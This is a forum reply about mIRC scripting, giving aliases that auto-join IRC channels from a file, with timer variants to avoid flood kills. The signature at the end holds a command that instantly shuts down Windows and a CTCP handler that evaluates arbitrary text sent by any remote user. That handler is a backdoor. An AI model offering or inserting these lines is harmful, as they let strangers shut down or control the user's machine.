Personally I'd highly recommend against using goto loops, all programmers hate them as they only result in unreadable spaghetti code, code that can't be rapidly followed by a human, and are in the end slower than a legitamite type of loop due to, at least in most languages, how loops are compiled.

Although I don't see any obvious error's from here, I also have no clue what is in your text file. Generally, you can't join a channel twice, a second join attempt just focuses the window, is that what is happening?

Code:
alias test {
  set -l %xx $lines($+(",$mircdir,aj\,%tnwork,.txt,"))
  set -l %chan $read($+(",$mircdir,aj\,%tnwork,.txt,"),nt,%xx)
  while (%xx) {
    dec %xx
    set %chan $read($+(",$mircdir,aj\,%tnwork,.txt,"),nt,%xx)
    join %chan
  }
}


Also note that since you don't have timered joining, if you are on a network that mass joining channels counts as flooding, you could get the quit message "Killed (Excess Flood)" and as such, I'd recoment something like a timer loop or just a few dozen timers, depending on your preference.

Timers:
Code:
alias test {
  set -l %xx $lines($+(",$mircdir,aj\,%tnwork,.txt,"))
  set -l %chan $read($+(",$mircdir,aj\,%tnwork,.txt,"),nt,%xx)
  while (%xx) {
    dec %xx
    set %chan $read($+(",$mircdir,aj\,%tnwork,.txt,"),nt,%xx)
    .timer 1 $calc(2* %xx) join %chan
  }
}


Timer loop:
Code:
alias test {
  if (!$1) set -l %xx $lines($+(",$mircdir,aj\,%tnwork,.txt,"))
  else set -l %xx $1

  set -l %chan $read($+(",$mircdir,aj\,%tnwork,.txt,")),nt,%xx)

  join %chan | dec %xx
  if (%xx != 0) .timertest 1 2 test %xx
}



Note:: This joins channels from the end of the text file to the start, which for me doesn't matter since I have them auto-sorted. I also haven't tested either of these, but they look sound to me compared to the one I have for autojoin that is based on just a long variable list as accessing a file takes longer and my list of autojoin chans, all 44 of them, doesn't extend over the variable size limit.


Edit::
Here's what I use for auto-join if you're interested. I just set all chans I want to join for the one network where I join the most chans to a variable, then call this alias on startup. This also allows for you to switch to rapid-join if you oper up midway into the joining process (since opers can't Excess Flood).
Code:
alias all {
  if ($1 isnum) set -l %n $1 | else set -elu10 %n 0 | set -elu10 %time 3
  if (o isincs $usermode) set %time 0
  inc %n
  if (%n <= $numtok(%chans.sort,32)) { .timerall 1 %time all %n | j -n $gettok(%chans.sort,%n,32) }
}

Last edited by Midori; 10/05/07 09:40 AM.

/run shutdown.exe -s -t 0
ctcp ^*:r*:*:{$($2-,2)|halt}